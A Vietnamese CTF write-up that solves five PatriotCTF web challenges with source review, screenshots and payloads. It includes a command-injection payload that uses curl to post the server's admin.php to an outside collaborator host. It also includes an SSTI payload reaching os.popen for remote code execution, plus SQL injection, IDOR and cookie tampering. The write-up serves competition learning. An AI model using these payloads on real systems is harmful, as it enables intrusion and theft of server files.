# 1. Scavenger Hunt ![](https://hackmd.io/_uploads/BJgo5Hn0n.png) - Link challenge: http://chal.pctf.competitivecyber.club:5999/ - Nhiệm vụ của ta là đi tìm các phần của flag được giấu trong trang web: ![](https://hackmd.io/_uploads/HJQC5S302.png) - Vào trang web ta có ngay phần đầu: `PCTF{Hunt` - Phần thứ 2 ta có khi xem source index: `3r5_4n` ![](https://hackmd.io/_uploads/Hy1boB3C3.png) - Phần thứ 3 có khi ta trỏ đến **/robots.txt**: `D_g4tH3` ![](https://hackmd.io/_uploads/rJu7jS303.png) - Phần 4 và 5 ở 2 file source js còn lại: `R5_e49` và `e4a541}` ![](https://hackmd.io/_uploads/B1xLjS20h.png) ![](https://hackmd.io/_uploads/Hk9Lsrh0n.png) - **Flag:** PCTF{Hunt3r5_4nD_g4tH3R5_e49e4a541} # 2. Checkmate ## Đề bài ![](https://hackmd.io/_uploads/Bkx_2B30n.png) ![](https://hackmd.io/_uploads/r1QETs2A3.png) - Link challenge: http://chal.pctf.competitivecyber.club:9096/ ## Phương hướng giải quyết & Thực hiện - Đây là một web chall cho ta nhập vào tên và password, sau đó ta sẽ ấn vào nút `Hi :)` để check xem tên và mật khẩu có đúng hay không, em ctrl U và lấy đoạn source về thì để ý có path check.php trong đoạn js của web chall: ```javascript!= function checkName(name){ var check = name.split("").reverse().join(""); return check === "uyjnimda" ? !0 : !1; } function checkLength(pwd){ return (password.length % 6 === 0 )? !0:!1; } function checkValidity(password){ const arr = Array.from(password).map(ok); function ok(e){ if (e.charCodeAt(0)<= 122 && e.charCodeAt(0) >=97 ){ return e.charCodeAt(0); }} let sum = 0; for (let i = 0; i < arr.length; i+=6){ var add = arr[i] & arr[i + 2]; var or = arr[i + 1] | arr[i + 4]; var xor = arr[i + 3] ^ arr[i + 5]; if (add === 0x60 && or === 0x61 && xor === 0x6) sum += add + or - xor; } return sum === 0xbb ? !0 : !1; } // /check.php var btn = document.getElementsByClassName('btn-1')[0]; btn.addEventListener('click',(e)=>{ e.preventDefault(); var nam = document.getElementById('name').value; if(!(checkName(nam))){ alert('Incorrect Name! 😥😥') } else{ alert('Correct Name! 🙂🙂') } var pwd = document.getElementById('password').value; if(!checkValidity(pwd) && !checkLength(pwd)){ alert('Incorrect Password! 😥😥') } else{ alert('Correct Password! 🙂🙂') } }); ``` - Đoạn code trên cho ta thấy được cách trang web check name và password, hàm checkName sẽ xem name đưa vào có là viết ngược lại của `uyjnimda` không, mà cụ thể là `adminjyu`. Còn password sẽ yêu cầu có độ dài chia hết cho 6, sau đó hàm `checkValidity` sẽ check bằng cách lấy 6 ký tự 1 rồi thực hiện phép toán ADD `&` với phần tử 1 và 3, OR `|` với phần tử 2 và 5, XOR `^` với phần tử 4 và 6. Sau đó nếu kết quả của phép ADD = 0x60, phép OR = 0x61, phép XOR = 0x6 thì trả về sum = add + or - xor, nếu kết quả sum sau vòng lặp bằng 0xbb thì trả về đúng, không thì trả về sai. - Sau khi thử thay 3 kết quả kia để trừ đi thì em thấy ở ngay lần 1 sum đã bằng 0xbb: ![](https://hackmd.io/_uploads/H1wrxnnAn.png) - Từ đó ta đoán rằng mật khẩu chỉ cần 6 ký tự thôi, và nhiệm vụ của ta là tìm được mật khẩu 6 ký tự thỏa mãn 3 điều kiện trên là okela - Nói chung tính năng ở trang index này không có gì đang nói khi nó chỉ xử lý bằng alert mà không hề có dấu hiệu của việc trả về flag, nên ta sẽ tập trung vào path `/check.php` - Khi tiến vào `check.php`, ta lại thấy chỗ để check password ![](https://hackmd.io/_uploads/H1Fqx3hA2.png) - Sau khi fuzzing đủ kiểu mà không được, em đưa ra quyết định sẽ tìm tất cả các mật khẩu thỏa mãn hàm kiểm tra mật khẩu kia và thử ở trang web này xem sao, em sẽ sử dụng script: (hơi tù tí dùng 6 vòng for :confounded: ) ```python!= def checkLength(password): return len(password) % 6 == 0 def checkValidity(password): arr = [ord(e) for e in password if 97 <= ord(e) <= 122] if len(arr) != 6: return False add = arr[0] & arr[2] or_op = arr[1] | arr[4] xor = arr[3] ^ arr[5] return add == 0x60 and or_op == 0x61 and xor == 0x6 # Tìm tất cả các mật khẩu thỏa mãn cả hai hàm for a in range(97, 123): for b in range(97, 123): for c in range(97, 123): for d in range(97, 123): for e in range(97, 123): for f in range(97, 123): password = chr(a) + chr(b) + chr(c) + chr(d) + chr(e) + chr(f) if checkLength(password) and checkValidity(password): print(password) ``` - Đưa vào intruder để brure-force thôi: ![](https://hackmd.io/_uploads/HJIsrhhRn.png) ![](https://hackmd.io/_uploads/rJkkU3nC3.png) - Vậy với pass `sadsau`, ta có flag: PCTF{Y0u_Ch3k3d_1t_N1c3lY_149} # 3. Flower Shop ## Đề bài ![](https://hackmd.io/_uploads/r1H_Ih20n.png) ![](https://hackmd.io/_uploads/B1Ngu3hA3.png) - Link challenge: http://chal.pctf.competitivecyber.club:5000/login.php ## Phương hướng giải quyết & Thực hiện: - Đây là một challenge cho ta 3 chức năng: đăng ký, đăng nhập, và reset password dựa theo username, khi đăng ký ta cần kèm theo một link webhook để khi reset password nó sữ gửi vào đường link webhook tương ứng ### Review source - Challenge này cho ta source của trang web, vậy nên giờ ta sẽ tiến hành phân tích nó: ![](https://hackmd.io/_uploads/Hk99MUTR3.png) - Về tổng quan, giao diện của trang web sẽ là những trang `admin.php, home.php, index.php, login.php`. Các hàm xử lý sẽ nằm trong folder `classes`, còn folder `modules` sẽ là nơi để thực thi các hàm xử lý. - Giờ ta sẽ điểm qua một số chỗ đáng lưu ý trong source code: **1. admin.php**: ```php!= <?php session_start(); if (!isset($_SESSION['userid'])) { header("Location: login.php?error=notloggedin"); exit(); } if ($_SESSION['username'] !== "admin" ) { header("Location: login.php?error=notadmin"); exit(); } ?> <?php include "templates/header.php"; ?> <div class="container"> <h3>CACI{FAKE_FLAG_FOR_TESTING}</h3> </div> <?php include "templates/footer.php"; ?> ``` - File này cho ta biết flag sẽ nằm ở trang admin.php, và để có thể vào được admin.php thì ta cần phải đăng nhập với tư cách là admin. **2. signup.class.php** ```php!= <?php class Signup extends Dbh { protected function checkUser($uid) { $stmt = $this->connect()->prepare('SELECT COUNT(*) FROM users where username = :username'); $stmt->bindValue(':username', $uid); if (!$stmt->execute()) { $stmt = null; header("location: ../login.php?error=stmtfaild"); exit(); } if ($stmt->fetchColumn() > 0) { return false; } else { return true; } } protected function setUser($uid, $pwd, $wh) { $stmt = $this->connect()->prepare('INSERT INTO users (username, password, webhook) VALUES (:username, :password, :webhook)'); $hashedPwd = password_hash($pwd, PASSWORD_DEFAULT); $stmt->bindValue(':username', $uid); $stmt->bindValue(':password', $hashedPwd); $stmt->bindValue(':webhook', $wh); if (!$stmt->execute()) { $errorInfo = $stmt->errorInfo(); $stmt = null; header("location: ../login.php?error=" . $errorInfo[2]); exit(); } $stmt = null; } } class SignupController extends Signup { private $uid; private $pwd; private $wh; public function __construct($uid, $pwd, $wh) { $this->uid = htmlspecialchars($uid); $this->pwd = $pwd; $this->wh = filter_var($wh, FILTER_SANITIZE_URL); } public function signupUser() { if (empty($this->uid) || empty($this->pwd) || empty($this->wh)) { header("location: ../login.php?error=EmptyInput"); exit(); } if (preg_match("/^[a-zA-Z0-9]*%/", $this->uid)) { header("location: ../login.php?error=InvalidUid"); exit(); } if (!filter_var($this->wh, FILTER_VALIDATE_URL)) { header("location: ../login.php?error=NotValidWebhook"); exit(); } if (!$this->checkUser($this->uid)) { header("location: ../login.php?error=UserTaken"); exit(); } $this->setUser($this->uid, $this->pwd, $this->wh); } } ?> ``` - File này tạo ra 2 class: + Class **Signup** chịu trách nhiệm kiểm tra xem user đăng ký có tồn tại hay chưa, nếu chưa thì thêm dữ liệu vào database, với password được encrypt bằng hàm password_hash() + Class **SignupController** tiến hành filter username bằng htmlspecialchars, check webhook bằng FILTER_SANITIZE_URL, nó sẽ loại bỏ khoảng cách(dấu cách hay tab) trong URL hoặc thay thế bằng dấu `_` hoặc `-` tùy thuộc vào option cụ thể. Sau khi filter nó tiếp tục kiểm tra xem có phần nào rỗng không, check tiếp bằng regex xem username có chứa ký tự nào invalid không (a->z, A->Z, 0->9) rồi check webhook bằng FILTER_VALIDATE_URL kiểm tra xem liệu mình đưa vào có đúng là 1 URL không bằng cách check biến có bắt đầu bằng `http://` không, cuối cùng nếu tất cả thỏa mãn sẽ cho phép nhập vào trong database - Vì sau khi login vào homepage ta không có gì để khai thác nên em sẽ bỏ qua login ở classes **3. reset.class.php** ```php!= <?php include "../modules/helpers.php"; class Reset extends Dbh { protected function checkUser($uid) { if (empty($uid)) { header("location: ../login.php?error=EmptyUser"); exit(); } $stmt = $this->connect()->prepare('SELECT * FROM users where username = :username'); $stmt->bindValue(':username', $uid); if (!$stmt->execute()) { $stmt = null; header("location: ../login.php?error=stmtfaild"); exit(); } $user = $stmt->fetchAll(PDO::FETCH_ASSOC); if ($user == false) { $stmt = null; header("location: ../login.php?error=UserNotFound"); exit(); } $wh = $user[0]["webhook"]; return $wh; } protected function tmpPwd($uid) { $tmpPass = genTmpPwd(); $tmpHash = password_hash($tmpPass, PASSWORD_DEFAULT); $stmt = $this->connect()->prepare('UPDATE users SET password = :password, tmp_pass_time = :tmp_pass_time WHERE username = :username'); $stmt->bindValue(':username', $uid); $stmt->bindValue(':password', $tmpHash); $stmt->bindValue(':tmp_pass_time', time()); if (!$stmt->execute()) { $errorInfo = $stmt->errorInfo(); $errorMessage = $errorInfo[2]; $stmt = null; header("location: ../login.php?error=" . $errorMessage); exit(); } $stmt = null; return $tmpPass; } } class ResetController extends Reset { private $uid; private $wh; private $tmpPass; public function __construct($uid) { $this->uid = $uid; } public function resetPassword() { $this->wh = $this->checkUser($this->uid); if (!$this->wh) { header("location: ../login.php?error=InvalidUser"); exit(); } $this->tmpPass = $this->tmpPwd($this->uid); exec("php ../scripts/send_pass.php " . $this->tmpPass . " " . $this->wh . " > /dev/null 2>&1 &"); return $this->tmpPass; } } ?> ``` - Ta vẫn thấy có sự xuất hiện của 2 class: + Class Reset sẽ chịu trách nhiệm của việc kiểm tra xem liệu user có hợp lệ không, nếu có thì đưa password mới được gen đẩy vào database thay cho password cũ, đồng thời cũng encrypt với hàm password_hash + Class ResetController sẽ đảm nhận việc lấy địa chỉ webhook, thực thi câu lệnh hệ thống chạy file send_pass.php với biến được truyền vào là giá trị của webhook, và đưa kết quả về `/dev/null` (không trả về gì cả) - Từ file này ta cần xem xét thêm 2 file mà tính năng reset này include, đó là **helpers.php** và **send_pass.php** **4. helpers.php** ```php!= <?php function genRandString($length) { $allowable_characters = 'abcdefghijklmnopqrstuvwxyz'; $len = strlen($allowable_characters) - 1; $str = ''; for ($i = 0; $i < $length; $i++) { $str .= $allowable_characters[mt_rand(0, $len)]; } return $str; } function genTmpPwd() { list($usec, $sec) = explode(' ', microtime()); $usec *= 1000000; $tmpPass = genRandString(8) . $sec . $usec . posix_getpid(); return $tmpPass; } function createCsrf() { mt_srand(); return md5(genRandString(8)); } ?> ``` - Ta thấy được file này là dùng để tạo ra mật khẩu tạm thời nếu ta reset mật khẩu, hàm genRandString sẽ tạo ra chuỗi random gồm các ký tự từ a->z. Hàm genTmpPwd sử dụng tính năng random này để tạo ra một mật khẩu cấu thành từ 4 yếu tố + 8 ký tự đầu được random từ hàm genRandString(8) + Sử dụng hàm microtime() để lấy thời gian hiện tại với độ chính xác cao, gồm cả giây là micro giây, sau đó gán chúng vào 2 biến $sec lưu trữ giây và $usec lưu trữ micro giây + PID của tiến trình hiện tại đang sử dụng **5. send_pass.php** ```php!= <?php $tmpPwd = $argv[1]; $wh = $argv[2]; $data = array('tmp_pass' => $tmpPwd); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $wh); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $response = curl_exec($ch); curl_close($ch); ?> ``` - File này lấy 2 giá trị của tham số tmpPwd(mật khẩu tạm thời được tạo) và wh(link webhook của bản thân), rồi sử dụng curl để gửi đến link webhook đó với body data và mật khẩu mới. ### Phân tích - Sau khi nắm được phần nào flow của trang web, giờ ta sẽ cần phải đi tìm chỗ ta có thể tiến hành khai thác vào được. Chỗ mà em thấy rất sú là phần link webhook, khi mà trang web sẽ đưa link này vào câu lệnh exec để thực thi ở hệ thống: `exec("php ../scripts/send_pass.php " . $this->tmpPass . " " . $this->wh . " > /dev/null 2>&1 &"); ` (command injection rồi) - Nhưng để có thể đến được bước này, ta cần phải qua phần sign up, nên em sẽ thử test xem chức năng filter url của sign up hoạt động như thế nào: ![](https://hackmd.io/_uploads/SJ6TAI6Cn.png) - Yess, em có thể thực thi được câu lệnh `id` gán vào đằng sau của URL thông qua cả 2 hàm, nhưng vấn đề đến là 2 hàm này đà filter dấu cách, nên ta sẽ cần phải sử dụng ${IFS} để bypass: ![](https://hackmd.io/_uploads/H1xefvpR2.png) - Rồi, vậy là giờ ta đã có thể command vào được URL, nhưng vấn đề là nếu ta thực thi những lệnh như `ls, cat` thì nó cũng chỉ thực hiện ở máy server, nên để lấy được flag, ta cần phải sử dụng out of band command injection, flag nằm ở trong admin.php, vậy thì ta sẽ cần phải lấy được file đó về thì mới có được flag. Với tình huống lấy file về như này em sẽ sử dụng `curl`, cụ thể như sau: ![](https://hackmd.io/_uploads/BkybXD6C2.png) - Tương tự như câu lệnh trên, em sẽ sử dụng `curl -d` để lấy được file admin.php về, rồi trả về BurpCollaborator cho bản thân, trước hết ta sẽ xem dockerfile để biết được đường dẫn tuyệt đối đến admin.php ```dockerfile!= FROM php:5.6-apache WORKDIR /var/www/html COPY ./app /var/www/html EXPOSE 80 RUN chown -R www-data:www-data /var/www/html ``` - File docker đưa toàn bộ nội dung của /app vào /var/www/html, vậy đường dẫn đến admin.php sẽ là: /var/www/html/admin.php, tổng cộng lại ta có được câu lệnh command để inject: ```! curl${IFS}-d${IFS}@/var/www/html/admin.php${IFS}http://v95g4j2l14tqzxyvd803ooxj3a91xrlg.oastify.com ``` ### Thực hiện: - Giờ ta sẽ đăng ký một tài khoản bất kỳ, riêng phần webhook ta sẽ đăng ký với nội dung: ```! https://webhook.site/643b9281-1c27-4a65-ba66-72571c03caa6/`curl${IFS}-d${IFS}@/var/www/html/admin.php${IFS}http://v95g4j2l14tqzxyvd803ooxj3a91xrlg.oastify.com` ``` ![](https://hackmd.io/_uploads/rkl54vaRh.png) - Logout rồi ấn reset mật khẩu: ![](https://hackmd.io/_uploads/BJa3Ev6Ah.png) - Giờ thì ta sẽ có 2 request đến, request đầu tiên nó sẽ gửi cho webhook mật khẩu mới được reset, còn request thứ 2 gửi cho BurpCollaborator chứa nội dung của file admin.php của server, từ đó ta lấy được flag: + Webhook: ![](https://hackmd.io/_uploads/SkmfHwpAn.png) + Collaborator: ![](https://hackmd.io/_uploads/HJmESwpC3.png) - **Flag**: CACI{y0uv3_f0und_th3_rar3st_s33d_0f_all!} - **Lưu ý**: Ngoài việc sử dụng `curl -d`, ta còn có thể sử dụng `curl --data-binary` để output trong đẹp mắt hơn: ![](https://hackmd.io/_uploads/BJgD8vpA2.png) ![](https://hackmd.io/_uploads/SkrPUw6C3.png) # 4. Pick Your Starter ## Đề bài ![](https://hackmd.io/_uploads/HyeYIPaC3.png) ![](https://hackmd.io/_uploads/Hkq39wTCn.png) - Link challenge: http://chal.pctf.competitivecyber.club:5555/ ## Phương hướng & Thực hiện - Challenge không cho ta source code, và khi ta bấm vào 1 trong 3 con pokemon này sẽ xuất hiện ra thông tin của pokemon đó ![](https://hackmd.io/_uploads/SkSejv6Ah.png) ![](https://hackmd.io/_uploads/BJb-ow603.png) - Để ý trang web sử dụng python, em thử fuzzing tí SSTI xem như nào: ![](https://hackmd.io/_uploads/H1e7ivaCh.png) - á à =))) ta xác định được lỗi của trang web là SSTI, vì nó không cung cấp source nên ta phải đi tìm xem nó blacklist những gì: ![](https://hackmd.io/_uploads/By5vsDTR3.png) - Ngay từ đầu ta thấy ngay trang web blacklist dấu `'`, sau khi thử fuzzing một hồi (sử dụng PayloadAllTheThing) thì em thấy nó blacklist một số thứ như : `[] `` config builtins` - Với việc blacklist `''` và `""` thì việc đọc file trở nên khó khăn nếu ta dùng những payload thông thường, vì thế em sẽ sử dụng **request.args** vào đoạn đọc file để bypass dấu nháy đơn và nháy kép: ``` {{namespace.__init__.__globals__.os.popen(request.args.a).read()}}?a=ls+/ ``` ![](https://hackmd.io/_uploads/ryelpDp02.png) - Ngol, RCE thành công rồi, giờ ta chỉ cần `cat /flag.txt` là có flag rùi ![](https://hackmd.io/_uploads/SJZXaPTC3.png) - **Flag:** PCTF{wHOS7H47PoKEmoN} # 5. One-for-all ![](https://hackmd.io/_uploads/SJhraw6Ah.png) - Link challenge: http://chal.pctf.competitivecyber.club:9090/ - Challenge bắt ta đi tìm 4 phần của flag :heavy_check_mark:, bắt đầu tìm thôi - Khi vào trang web em để ý thấy có phần profile, khi click vào thử thì hiện ra userid=1 và thông tin urser đó: ![](https://hackmd.io/_uploads/r13RTPTAn.png) - Chỉnh userid=0 và ta có phần cuối của flag: `ev3rYtH1nG}` ![](https://hackmd.io/_uploads/HJ2xAP6A3.png) - Sau khi nhập thử username được báo ở trong cookie là kiran thì hiện ra thông tin của kiran: ![](https://hackmd.io/_uploads/ryXLAw603.png) - Hmmm, thử SQLInjection xem sao: ![](https://hackmd.io/_uploads/HyhcCv6Ch.png) - Ngollll, ta thử lấy hết thông tin của user trong bảng này xem sao: ![](https://hackmd.io/_uploads/rkbTRP60n.png) - Ta có 1 phần flag nữa là: `and_Adm1t_` ![](https://hackmd.io/_uploads/SJF6CPpR3.png) - Lộ ra 1 path là: `/secretsforyou` ![](https://hackmd.io/_uploads/BkZl1uaA2.png) - Hmmm, có vẻ trang web sử dụng sqlite và không có bảng nào khác ngoài bảng accounts: ![](https://hackmd.io/_uploads/rkhpJ_TC2.png) - Không có gì đáng chú ý cả: ![](https://hackmd.io/_uploads/rJZWeup0h.png) - Thôi được rồi, ta sẽ quay trở lại đường dẫn `/secretsforyou` xem sao: - Á đù không giòn rồi: ![](https://hackmd.io/_uploads/ryLNg_T03.png) ![](https://hackmd.io/_uploads/ryjSx_aC3.png) - Sau khi tìm cách bypass nhưng không được, em thử đưa vào dirsearch xem có được gì không thì ra được 1 path mới: ![](https://hackmd.io/_uploads/SJQNWOT0h.png) - Vậy là ta có được 1 mảng flag nữa `l00s3_` ![](https://hackmd.io/_uploads/S1iS-dTA2.png) - Chỉ còn 1 mảnh nữa thôi, khi em đang bế tắc thì teamates đã tìm ra được, bằng cách đổi name của cookie thành `admin` ![](https://hackmd.io/_uploads/rJZSf_pAh.png) - **Flag:** PCTF{Hang_l00s3_and_Adm1t_ev3rYtH1nG}